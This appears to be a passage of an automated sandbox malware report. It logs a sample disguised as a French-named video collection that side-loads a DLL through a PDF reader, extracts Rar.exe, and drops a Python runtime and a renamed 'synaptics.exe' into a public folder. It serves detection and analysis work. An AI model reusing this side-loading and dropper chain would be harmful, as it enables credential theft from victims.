Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Section loaded: sspicli.dll

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe

File opened: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\pywin\default.cfg

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: /app/crashsubmit?appname=SumatraPDFhttp://www.haihaisoft.comlibmupdf.pdbSumatraPDF.pdbSumatraPDF-prereleaseSumatraPDF.pdbSumatraPDF-1.5.3.0.pdbSumatraPDF.pdblibmupdf.pdbSumatraPDF-no-MuPDF.pdbhttp://kjkpub.s3.amazonaws.com/sumatrapdf/prerel/SumatraPDF-prerelease-SVN_PRE_RELEASE_VER.pdb.zipsymbols_tmp.ziphttp://kjkpub.s3.amazonaws.com/sumatrapdf/rel/SumatraPDF-1.5.3.0.pdb.zipsymbols_tmp.zipSUMATRAPDF_FULLDUMPHaihaisoft PDF Reader crashedSorry, that shouldn't have happened! source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: nw.pdbh source: Rar.exe, 00000010.00000003.2643474934.000001B79B6F1000.00000004.00000020.00020000.00000000.sdmp, Rar.exe, 00000010.00000003.2642559790.000001B79B6B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SumatraPDF-no-MuPDF.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pythonw.pdb source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000000.2650329180.0000000000112000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: SumatraPDF-1.5.3.0.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\pythonw.pdb source: Rar.exe, 00000010.00000003.2641056502.000001B79D5AF000.00000004.00000020.00020000.00000000.sdmp, synaptics.exe, 00000019.00000000.2650329180.0000000000112000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\unicodedata.pdb source: synaptics.exe, 00000026.00000002.2910472179.0000000068E5C000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: m:\sumatrapdf\hpreader-windows-standard\hpreader\Release\hpreader.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\a\1\b\bin\win32\python310.pdb source: Rar.exe, 00000010.00000003.2641056502.000001B79D94F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: xOdx>a0m:\sumatrapdf\hpreader-windows-standard\hpreader\Release\hpreader.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb! source: Rar.exe, 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmp, Rar.exe, 00000010.00000000.2459015326.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdbGCTL source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2455256639.000000006E641000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\Projects\WinRAR\rar\build\rar64\Release\RAR.pdb source: Rar.exe, 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmp, Rar.exe, 00000010.00000000.2459015326.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: libmupdf.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000000.2448518072.00000000006C9000.00000002.00000001.01000000.00000008.sdmp, La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2450716093.00000000006C9000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\LoneNone\Desktop\PDF SIDELOAD\SideLoad\Release\msimg32.pdb source: La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe, 0000000B.00000002.2457870865.0000000073426000.00000002.00000001.01000000.00000009.sdmp

Source: vcruntime140.dll.7.dr

Static PE information: 0xC7A64295 [Sat Feb 22 01:53:25 2076 UTC]

Source: Rar.exe.7.dr	Static PE information: section name: _RDATA
Source: libcrypto-1_1.dll.16.dr	Static PE information: section name: .00cfg
Source: libssl-1_1.dll.16.dr	Static PE information: section name: .00cfg
Source: python310.dll.16.dr	Static PE information: section name: PyRuntim

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Code function: 11_2_6E64F26E push ecx; ret	11_2_6E64F281
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Code function: 11_2_6E64F8A0 push eax; ret	11_2_6E64F8BE
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_01820A30 push es; iretd	25_3_01820A3A
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_018216BE push 64013B4Fh; ret	25_3_018217C5
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E
Source: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Code function: 25_3_0182048D push ss; iretd	25_3_0182048E

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	File created: \la collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	File created: \la collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	File created: \la collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	File created: \la collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\shell\shell.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\ifilter\ifilter.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\directsound\directsound.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\internet\internet.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\taskscheduler\taskscheduler.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\synaptics.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\win32ui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\win32uiole.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\La collection de vid os et d images est prot g e par les droits d auteur de l auteur.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\odbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\mapi\mapi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\pythonwin\scintilla.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\axscript\axscript.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\msimg32.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32comext\propsys\propsys.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe	File created: C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\win32evtlog.pyd	Jump to dropped file
